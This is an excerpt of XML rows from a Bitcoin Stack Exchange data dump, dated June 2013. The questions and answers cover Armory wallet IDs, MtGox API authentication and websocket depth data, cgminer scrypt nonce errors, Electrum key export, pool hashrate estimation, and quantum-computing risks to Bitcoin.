  <row Id="11502" PostTypeId="1" CreationDate="2013-06-06T09:05:17.103" Score="2" ViewCount="665" Body="&lt;p&gt;I want to create an encrypted paper backup, and to do so I'm thinking about encrypting only the root key and the chain code, so that when I have to recover it, I don't have to type a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm wondering if leaving the unique ID unencrypted can give any sort of information about the wallet to the person who finds it, like what kind of pattern to look for, or how much bitcoin there is in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, it's been said that for extra security, you shouldn't have your savings in a address if its public key is known, because in the future the private key could be found by using quantum computing or whatever. I know the unique ID is a different thing, but still I want to know what it is, how it is generated, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to ask the question: What do I need the unique ID for in the paper backup, if all I need to recover it is the root key and the chain code? Can't I just remove the unique ID from the paper backup? Would that be theoretically more secure?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastEditorUserId="5068" LastEditDate="2013-06-06T09:10:20.520" LastActivityDate="2013-06-06T11:12:04.100" Title="Does the unique ID of an Armory wallet give any information about it?" Tags="|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11503" PostTypeId="2" ParentId="11499" CreationDate="2013-06-06T09:37:57.263" Score="4" Body="&lt;p&gt;There's lots of information available here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/91/how-do-you-obtain-bitcoins&quot;&gt;How do you obtain bitcoins?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinbase.com&lt;/a&gt; has a pretty good reputation I understand, and I find the interface to be quite cleverly designed. &lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorDisplayName="user56611" LastEditDate="2019-05-08T20:18:25.010" LastActivityDate="2019-05-08T20:18:25.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11505" PostTypeId="2" ParentId="10918" CreationDate="2013-06-06T11:10:59.190" Score="3" Body="&lt;p&gt;One other reason that Steven hasn't mentioned and which I know to be true (having been told by pool operators who have suffered such attacks) that the DDOS attacks have been ransom demands by script kiddies with botnets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are simple extortion attempts, and account for many such DDOS attacks.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="1611" LastEditDate="2013-06-13T09:17:52.537" LastActivityDate="2013-06-13T09:17:52.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11506" PostTypeId="2" ParentId="11502" CreationDate="2013-06-06T11:12:04.100" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/blob/master/armoryengine.py#L7314&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; the wallet ID is an address byte and the last 5 bytes of the first address, encoded as base 58. The last 4 bytes of the address are part of a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;SHA-256 hash of the first part of the address&lt;/a&gt;. The address itself is the private key hashed once with SHA-256 and once with RIPEMD-160. So the only information contained in the Wallet ID is checksum information, which is also contained in your publicly available address. The address is available since it is the one you transferred your coins to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty certain that having the wallet ID visible isn't going to leak any information.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-06T11:12:04.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11510" PostTypeId="1" AcceptedAnswerId="11553" CreationDate="2013-06-06T16:48:25.393" Score="2" ViewCount="1704" Body="&lt;p&gt;I am trying to write a simple app that uses the Mt Gox. (bitcoin exchange) API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very simple to use the price API it's just a http request that returns a .JSON string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now I want to do more with my app, I was thinking it would be good to be able to log into the users mtgox account and show their balance of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an API key (you can generate one on their site) but I'm finding it really hard to understand whats required to generate a connection and pull the balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who might be able to point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have researched quite a bit and turned up very little information - API Overview: &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/overview&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/nitrous/mtgox-api/overview&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above link they have some python code, but i'm finding it difficult to translate into Objective C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if anyone can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Give me a highlevel overview of the steps required to log in and get a bitcoin balance using the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Give me some pointers on how to turn their Python example into Objective C I would really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand to use the API I need to use this URL to Get my current balance    mtgox.com/api/0/getFunds.php -- however first I need to get a &quot;nonce&quot; parameter to the post data (which must be an ever-increasing interger, for example with PHP in 64bits: (int)(microtime(true)*1000000)) and two HTTP headers: Rest-Key (your key) nad Rest-Sign (a signature generated by doing a sha512-hmac on the POST data with the secret as key, encoded in base64). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this documentation: bitbucket.org/nitrous/mtgox-api/overview -- still not clear however, how to code in Objective C thanks&lt;/p&gt;&#xA;" OwnerUserId="5456" LastEditorUserId="5456" LastEditDate="2013-08-09T06:27:01.307" LastActivityDate="2013-08-09T06:27:01.307" Title="MtGox API Overview and explanation of steps required to create connection" Tags="|mtgox|api|ios|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11511" PostTypeId="2" ParentId="10625" CreationDate="2013-06-06T18:48:01.337" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Origin null is now allowed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your Origin header is not being set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try running your code in the browser from an actual domain name other than something like about:blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In chrome running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var ws = new WebSocket('ws://websocket.mtgox.com/mtgox');&#xA;ws.onmessage = function(e){ console.log(e); };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results in failure from about:blank. However from an actual domain name results in success. &lt;/p&gt;&#xA;" OwnerUserId="5447" LastActivityDate="2013-06-06T18:48:01.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11512" PostTypeId="1" CreationDate="2013-06-06T18:53:04.313" Score="1" ViewCount="203" Body="&lt;p&gt;I am using MtGox's &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;websocket api&lt;/a&gt; to construct an order book. The trouble I'm having is that every once in a while, the depth event will return an JSON object with negative volume and negatie volume_int&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;channel&quot;:&quot;24e67e0d-1cad-4cc0-9e7a-f8523ef460fe&quot;,&#xA;  &quot;depth&quot;:{&#xA;    &quot;currency&quot;:&quot;USD&quot;,&#xA;    &quot;item&quot;:&quot;BTC&quot;,&#xA;    &quot;now&quot;:&quot;1323644358437819&quot;,&#xA;    &quot;price&quot;:&quot;14.43&quot;,&#xA;    &quot;price_int&quot;:&quot;1443000&quot;,&#xA;    &quot;total_volume_int&quot;:&quot;849766000&quot;,&#xA;    &quot;type&quot;:1,&#xA;    &quot;type_str&quot;:&quot;ask&quot;,&#xA;    &quot;volume&quot;:&quot;-2.71&quot;,&#xA;    &quot;volume_int&quot;:&quot;-271000000&quot;&#xA;  },&#xA;  &quot;op&quot;:&quot;private&quot;,&#xA;  &quot;origin&quot;:&quot;broadcast&quot;,&#xA;  &quot;private&quot;:&quot;depth&quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this mean? I'm wondering if it could perhaps be to indicate an order has been canceled&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-06-06T22:20:55.943" Title="Negative volumes returned from MtGox websocket api request" Tags="|mtgox|api|market-depth|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11513" PostTypeId="2" ParentId="11512" CreationDate="2013-06-06T20:08:29.610" Score="2" Body="&lt;p&gt;So I ran a test where I placed an order that I knew would be unique and then promptly canceled it, the whole time logging all depth objects to my terminal &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ price: '66',&#xA;  type: 2,&#xA;  type_str: 'bid',&#xA;  volume: '6.66',&#xA;  price_int: '6600000',&#xA;  volume_int: '666000000',&#xA;  item: 'BTC',&#xA;  currency: 'USD',&#xA;  now: '1370548662105838',&#xA;  total_volume_int: '37301280846' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ price: '66',&#xA;  type: 2,&#xA;  type_str: 'bid',&#xA;  volume: '-6.66',&#xA;  price_int: '6600000',&#xA;  volume_int: '-666000000',&#xA;  item: 'BTC',&#xA;  currency: 'USD',&#xA;  now: '1370548667379328',&#xA;  total_volume_int: '36635280846' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which leads me to conclude that negative volumes are in fact the result of a canceled trade&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-06-06T22:20:55.943" LastActivityDate="2013-06-06T22:20:55.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11514" PostTypeId="1" CreationDate="2013-06-06T23:39:56.443" Score="1" ViewCount="17463" Body="&lt;p&gt;It seems that litecoin/scrypt support in cgminer is unstable as I've found a lot of mentions of this error in various forums and no real solutions. Some seem to be able to resolve the problem by experimenting with different versions and combinations of drivers and AMD SDK. So far I've tried much and always the same problem. Here's the output from command line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cgminer --benchmark --scrypt --debug --verbose&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2013-06-07 00:34:54] Started cgminer 3.2.0&#xA; [2013-06-07 00:34:54] CL Platform 0 vendor: Advanced Micro Devices, Inc.&#xA; [2013-06-07 00:34:54] CL Platform 0 name: AMD Accelerated Parallel Processing&#xA; [2013-06-07 00:34:54] CL Platform 0 version: OpenCL 1.2 AMD-APP (1124.2)&#xA; [2013-06-07 00:34:54] Platform 0 devices: 1&#xA; [2013-06-07 00:34:54]  0   Tahiti&#xA; [2013-06-07 00:34:54] GPU 0 iAdapterIndex 0 strUDID PCI_VEN_1002&amp;amp;DEV_6798&amp;amp;SUBSYS_254D1458&amp;amp;REV_00_4&amp;amp;176F368&amp;amp;0&amp;amp;0018A iBusNumber 2 iDeviceNumber 0 iFunctionNumber 0 iVendorID 1002 strAdapterName  AMD Radeon HD 7900 Series &#xA; [2013-06-07 00:34:54] GPU 0 AMD Radeon HD 7900 Series hardware monitoring enabled&#xA; [2013-06-07 00:34:54] Pushing ping to thread 0&#xA; [2013-06-07 00:34:54] Init GPU thread 0 GPU 0 virtual GPU 0&#xA; [2013-06-07 00:34:54] Popping work to stage thread&#xA; [2013-06-07 00:34:54] CL Platform vendor: Advanced Micro Devices, Inc.&#xA; [2013-06-07 00:34:54] CL Platform name: AMD Accelerated Parallel Processing&#xA; [2013-06-07 00:34:54] CL Platform version: OpenCL 1.2 AMD-APP (1124.2)&#xA; [2013-06-07 00:34:54] List of devices:&#xA; [2013-06-07 00:34:54]  0   Tahiti&#xA; [2013-06-07 00:34:54] Selected 0: Tahiti&#xA; [2013-06-07 00:34:54] Preferred vector width reported 1&#xA; [2013-06-07 00:34:54] Max work group size reported 256&#xA; [2013-06-07 00:34:54] Max mem alloc size is 2951741440&#xA; [2013-06-07 00:34:54] Selecting scrypt kernel&#xA; [2013-06-07 00:34:54] GPU 0: selecting lookup gap of 2&#xA; [2013-06-07 00:34:54] GPU 0: selecting thread concurrency of 22400&#xA; [2013-06-07 00:34:54] Loaded binary image scrypt130511Tahitiglg2tc22400w256l4.bin&#xA; [2013-06-07 00:34:54] Initialising kernel scrypt130511.cl with bitalign, 1 vectors and worksize 256&#xA; [2013-06-07 00:34:54] Creating scrypt buffer sized 1468006400&#xA; [2013-06-07 00:34:54] initCl() finished. Found Tahiti&#xA; [2013-06-07 00:34:54] 1 gpu miner threads started&#xA; [2013-06-07 00:34:54] Pool 0 not providing work fast enough&#xA; [2013-06-07 00:34:54] API not running - API will not be available&#xA; [2013-06-07 00:34:54] Generated benchmark work&#xA; [2013-06-07 00:34:54] Pushing work from pool 0 to hash queue&#xA; [2013-06-07 00:34:54] Generated benchmark work&#xA; [2013-06-07 00:34:54] Pushing work from pool 0 to hash queue&#xA; [2013-06-07 00:34:54] Generated benchmark work&#xA; [2013-06-07 00:34:54] Pushing work from pool 0 to hash queue&#xA; [2013-06-07 00:34:54] Popping ping in miner thread&#xA; [2013-06-07 00:34:54] Popping work from get queue to get work&#xA; [2013-06-07 00:34:54] Got work from get queue to get work for thread 0&#xA; [2013-06-07 00:34:54] Generated benchmark work&#xA; [2013-06-07 00:34:54] Pushing work from pool 0 to hash queue&#xA; [2013-06-07 00:34:54] Generated target 00000000000000000000000000000000000000000000000000000000ffff0000&#xA; [2013-06-07 00:34:55] [thread 0: 18432 hashes, 17.7 khash/sec]&#xA; [2013-06-07 00:34:55] GPU 0 found something?&#xA; [2013-06-07 00:34:55] OCL NONCE 33519 found in slot 0&#xA; [2013-06-07 00:34:55] New best share: 6&#xA; [2013-06-07 00:34:55] GPU0: invalid nonce - HW error&#xA; [2013-06-07 00:34:55] Discarded cloned or rolled work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="2212" LastActivityDate="2013-06-20T12:14:44.617" Title="CGMiner litecoin mining generates invalid nonce errors" Tags="|litecoin|cgminer|scrypt|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11515" PostTypeId="2" ParentId="8114" CreationDate="2013-06-07T01:30:45.433" Score="0" Body="&lt;p&gt;Bitcoin's very different things to different people, and obviously can't be everything to everyone. A lot of people really like a subset of its properties whilst disliking others. Some aspects of bitcoin are modifiable by comunity vote, some others not, and implementing yet others may require too much changes to the core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By allowing forks to be created, different ideas of what a crypto-currency can and maybe should be are competing directly against one another, in a Darwinian-like evolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin, for instance, tried to address 3 perceived problems with Bitcoin (others don't perceive them as problems or may even regard them as features): transactions taking too much to confirm, a &quot;small&quot; ceiling as to the max. number of currency to be mined, and a hash function that gives a very unfair advantage to users with GPUs and ASICs - theoretically this last one could mean mining will end-up, in the long term, concentrated in very few hands, besides making it potentially easy for governments with deep-pockets to mount a 51% attack by deploying large clusters of ASICs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By producing blocks every 2-3 minutes, having a top of 80 million litecoins and using a CPU-friendly (and GPU-unfriendly!) algorithm, these perceived problems are avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPCoin addresses the perceived high-electricity consumption of the bitcoin network by having a radically new way to distribute newly created coins: appart from &quot;classic mining&quot;, the amount of coins you already have serves as a &quot;proof-of-stake&quot; which is rewarded as well with even more coins, randomly. This way, new coins are produced without the need of lots of miners, potentially reducing the net electric consumption of the PPCoin network by 1 or 2 orders of magnitude as compared to Bitcoin. Since this proof-of-stake would encourage hoarding (and possibly high deflation!), a new built-in, inflation-like parameter is introduced so that each transaction destroys a number of your coins - supposedly this compensates the former effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally Freicoin is an attempt to apply the ideas of Austrian-Argentine economist Silvio Gessell to a crypto-currency. Here, your coins are slowly &quot;eroded&quot; in value by a pre-fixed percentage every year. This has a number of very interesting economic effects: Disencourages hoarding, encourages fast circulation of coins, interest rates drop to near zero (since banks would lose money by storing it idly in their valves, they need to invest it as fast as possible), inflation gets stopped in its tracks(since instead of prices going up, money's value goes down, so to speak), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's space in the market of ideas for even more different approaches than vanilla Bitcoin, or combining 2 or more of them (Novacoin, for instance, basically takes PPcoin and mixes it with Litecoin). I can think of: unlimited max. number of coins, somehow increasing the amount of nodes controlled to mount a fatal attack (so instead of 51% you'd need 75% or the like), disencouraging miners to produce empty blocks, encouraging them to pick up transactions for small amounts, or rather highly discorage these transactions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let one hundred flowers blossom!!!&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-06-07T01:30:45.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11516" PostTypeId="1" AcceptedAnswerId="11517" CreationDate="2013-06-07T02:05:25.000" Score="1" ViewCount="1769" Body="&lt;p&gt;Assuming one exported the private keys from one's offline Electrum wallet to a CSV file (also offline), they obviously have not been 'spent'. The whole thing was done offline. My question is this: if I were now to go online and try to spend the bitcoins covered by those private keys, are the bitcoins still there? Or does the exportation of the private keys to the CSV file equal the spending of those coins so far as the Electrum client is concerned? To put it another way, can the private keys be exported more than once so long as they have not been spent? I'm hope I'm explaining myself clearly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I recently made my first Bitcoin purchase and I did so into an Electrum wallet, which I am currently keeping on an offline computer. I could not see my private keys anywhere and was unsure that I'd received them and so I exported them to the CSV file purely to ascertain that I had, in fact, received them. (I would not do so on any future purchases, now that I'm confident that the private keys would be there to be generated from the seed since they are plainly more secure unexported from an encrypted wallet than on a CSV file, but, hey, my first time and no evidence or explanation that I indeed had received them ...] - Terrylei&lt;/p&gt;&#xA;" OwnerUserId="5403" LastActivityDate="2014-01-08T16:12:33.300" Title="Can private keys be exported more than once in Electrum client so long as the've not been spent?" Tags="|private-key|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11517" PostTypeId="2" ParentId="11516" CreationDate="2013-06-07T07:22:51.343" Score="0" Body="&lt;p&gt;It seems like you don't understand how Bitcoins, private keys and bitcoin addresses work, so I'll make it simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I explained to you here &lt;a href=&quot;https://bitcoin.stackexchange.com/a/11479/2467&quot;&gt;https://bitcoin.stackexchange.com/a/11479/2467&lt;/a&gt; , you should not (more like MUST NOT) export your private keys from an Electrum seed. This can compromise all your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your private keys are derived from your seed every time you make a payment to sign the transaction. So there's no need to see them, the client calculate them for you, use them, and hide them again. all you need is to keep your seed safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know the balance in your offline Electrum wallet's addresses you can use a seedless wallet on an online computer. To do that look for your Master Public Key in the offline Electrum, and restore from your MPK on an online computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need your private keys to know the balance on their public addresses anyway. Public addresses are public and if you have already received on them, you can check their balance on Blockchain.info&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-06-07T07:22:51.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11518" PostTypeId="2" ParentId="11514" CreationDate="2013-06-07T09:17:23.477" Score="1" Body="&lt;p&gt;I'm having the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have catalyst 13.4 installed. I tried going back to 12.8 and 12.4, both of them generated &quot;cgminer stopped working&quot; with all versions of cgminer I tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went back to cgminer 2.11.2 and it worked, but performance went way down.&#xA;I went back to cgminer 2.11.3 and it seems to be working with the same performance and without the nonce errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to run it overnight and make sure the pool recognises the work units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fred&lt;/p&gt;&#xA;" OwnerUserId="5460" LastActivityDate="2013-06-07T09:17:23.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11519" PostTypeId="1" AcceptedAnswerId="11521" CreationDate="2013-06-07T12:03:03.397" Score="1" ViewCount="898" Body="&lt;p&gt;We are running a pool and are trying to get a total hashrate estimate.  How can we figure out how many hashes are being submitted to the pool based on the shares submitted?&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2013-06-07T12:25:39.697" Title="How does one work out hashrate based on number of submitted shares" Tags="|mining-pools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11520" PostTypeId="2" ParentId="11514" CreationDate="2013-06-07T12:06:32.970" Score="0" Body="&lt;p&gt;I was getting the same error with cminer 3.1.1 and intensity set to 19. But after lowering the intensity to 18 the HW errors disappeared.&lt;/p&gt;&#xA;" OwnerUserId="4473" LastActivityDate="2013-06-07T12:06:32.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11521" PostTypeId="2" ParentId="11519" CreationDate="2013-06-07T12:25:39.697" Score="1" Body="&lt;p&gt;A share has more often than not the maximum Target value (as in Difficulty 1). To create a share one needs &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8814/323&quot;&gt;on average 2^32 tries&lt;/a&gt;, or hashes. Multiply the number of submitted shares by 2^32, divide over the period those shares were submitted in and you have your hashrate estimate.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-06-07T12:25:39.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11522" PostTypeId="2" ParentId="6062" CreationDate="2013-06-07T16:36:54.097" Score="19" Body="&lt;p&gt;Worst case scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin ECDSA algorithm would be broken. Because quantum computers can easily decrypt the private key using the public key, anyone with a quantum computer can extract Bitcoins using the corresponding public key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin hashing would become exponentially difficult. There's already a predicted escalation in mining difficulty due to the advent of ASIC, and quantum computers would create a spike in mining difficulty to which ASIC mining effects pale in comparison. In the short run, this would lead to hyperinflation, but the long run effects aren't known at this point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The hashing advantage of quantum computer will be curtailed by block mining limitations. To quote from the Bitcoin wiki: &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&quot;The difficulty is the measure of how difficult it is to find a new block compared to the easiest it can ever be. It is recalculated every 2016 blocks to a value such that the previous 2016 blocks would have been generated in exactly two weeks had everyone been mining at this difficulty. This will yield, on average, one block every ten minutes. As more miners join, the rate of block creation will go up. As the rate of block generation goes up, the difficulty rises to compensate which will push the rate of block creation back down.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the rate of block creation will not be impacted by quantum computers (the increase in key generation is proportional to the increase in difficulty, resulting in an overall mining rate of 1 bitcoin block every 10 minutes), but it will drastically increase the mining difficulty, exponentially more than ASIC miner already have. This gives miners with quantum computers (presumably corporations, government agencies, or other power organizations) a major advantage, to the point of being considered a monopoly, on the bitcoin market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless quantum computers either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) become publicly available&#xA;(b) are given their own class for hashing purposes, so as to limit their mining advantage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then miners with access to quantum computers have an unfair mining advantage, which can (and will be) used to manipulate the value and distribution of bitcoins. Furthermore,&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Quantum computer's hashing power can be used as voting power. If a coalition of people with scalable quantum computers could generate enough hashes to comprise over 51% of the total Bitcoin hashes,they could use that power to greatly manipulate the bitcoin network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As explained in the Bitcoin wiki (&quot;Weaknesses&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;An attacker that controls more than 50% of the network's computing power can, for the time that he is in control, exclude and modify the ordering of transactions. This allows him to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse transactions that he sends while he's in control. This has the potential to double-spend transactions that previously had already been seen in the block chain.&#xA;    Prevent some or all transactions from gaining any confirmations&#xA;    Prevent some or all other miners from mining any valid blocks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attacker can't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Reverse other people's transactions&#xA;Prevent transactions from being sent at all (they'll show as 0/unconfirmed)&#xA;Change the number of coins generated per block&#xA;Create coins out of thin air&#xA;Send coins that never belonged to him &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With less than 50%, the same kind of attacks are possible, but with less than 100% rate of success. For example, someone with only 40% of the network computing power can overcome a 6-deep confirmed transaction with a 50% success rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much more difficult to change historical blocks, and it becomes exponentially more difficult the further back you go. As above, changing historical blocks only allows you to exclude and change the ordering of transactions. It's impossible to change blocks created before the last checkpoint.&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Since this attack doesn't permit all that much power over the network, it is expected that no one will attempt it. A profit-seeking person will always gain more by just following the rules, and even someone trying to destroy the system will probably find other attacks more attractive. However, if this attack is successfully executed, it will be difficult or impossible to &quot;untangle&quot; the mess created -- any changes the attacker makes might become permanent.&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;All this being said, is it possible for a scalable quantum computer (specially, one that is programmed (like ASIC) to hash blocks) to have an exponential advantage over traditional computers, FPGAs, ASICS, etc.? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That question is better addressed here: &lt;a href=&quot;https://cs.stackexchange.com/questions/586/could-quantum-computing-eventually-be-used-to-make-modern-day-hashing-trivial-to&quot;&gt;https://cs.stackexchange.com/questions/586/could-quantum-computing-eventually-be-used-to-make-modern-day-hashing-trivial-to&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a lot of mathematics involved, which is a bit above my academic proficiency, but we can derive at least this much:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the algorithms quantum computers are famous for efficiently utilizing (Shor's algorithm, Grover's search algorithm) probably can't be used for hashing Bitcoin blocks. One possible exception noted is the collision attack, which if done using Grover's algorithm, could &lt;em&gt;possibly&lt;/em&gt; perform better attacks than conventional computers: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Can quantum-computers perform better collision attacks? Actually I'm not sure about it. Grover's algorithm can be extended, such that if there are t items (that is, preimages), the time to find one is reduced to O(N/t−−−−√). But this gives no collision - running the algorithm again might return the same preimage. On the other hand, if we choose m1 at random, and then use Grover's Algorithm, it is probable that it will return a different message. I'm not sure if this gives better attacks.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cs.stackexchange.com/questions/586/could-quantum-computing-eventually-be-used-to-make-modern-day-hashing-trivial-to&quot;&gt;https://cs.stackexchange.com/questions/586/could-quantum-computing-eventually-be-used-to-make-modern-day-hashing-trivial-to&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event that scalable quantum computers manage to corner the Bitcoin network, new code will be released to patch this vulnerability, so while there would be a long-term breakage of the network in the short term, there's nothing to worry about for Bitcoin users in the long term. &lt;/p&gt;&#xA;" OwnerUserId="5462" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:31.193" LastActivityDate="2014-11-20T18:52:08.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11523" PostTypeId="2" ParentId="10686" CreationDate="2013-06-07T17:02:22.147" Score="1" Body="&lt;p&gt;In theory, only one reliable connection to a trustworthy node is sufficient. If you do decide to limit your connections only to 2 outgoing ones, make sure to connect to nodes you trust to be up to date, to reduce the chance of falling behind, or worse, being the target of an attack.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-06-07T17:02:22.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11525" PostTypeId="2" ParentId="11499" CreationDate="2013-06-07T18:12:08.977" Score="7" Body="&lt;p&gt;On &lt;a href=&quot;http://localbitcoins.com&quot;&gt;LocalBitcoins.com&lt;/a&gt; you can get bitcoins bought under one hour. Just pick a trader who has good reputation (not a scammer) and low response times.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2013-06-07T19:38:11.937" LastActivityDate="2013-06-07T19:38:11.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
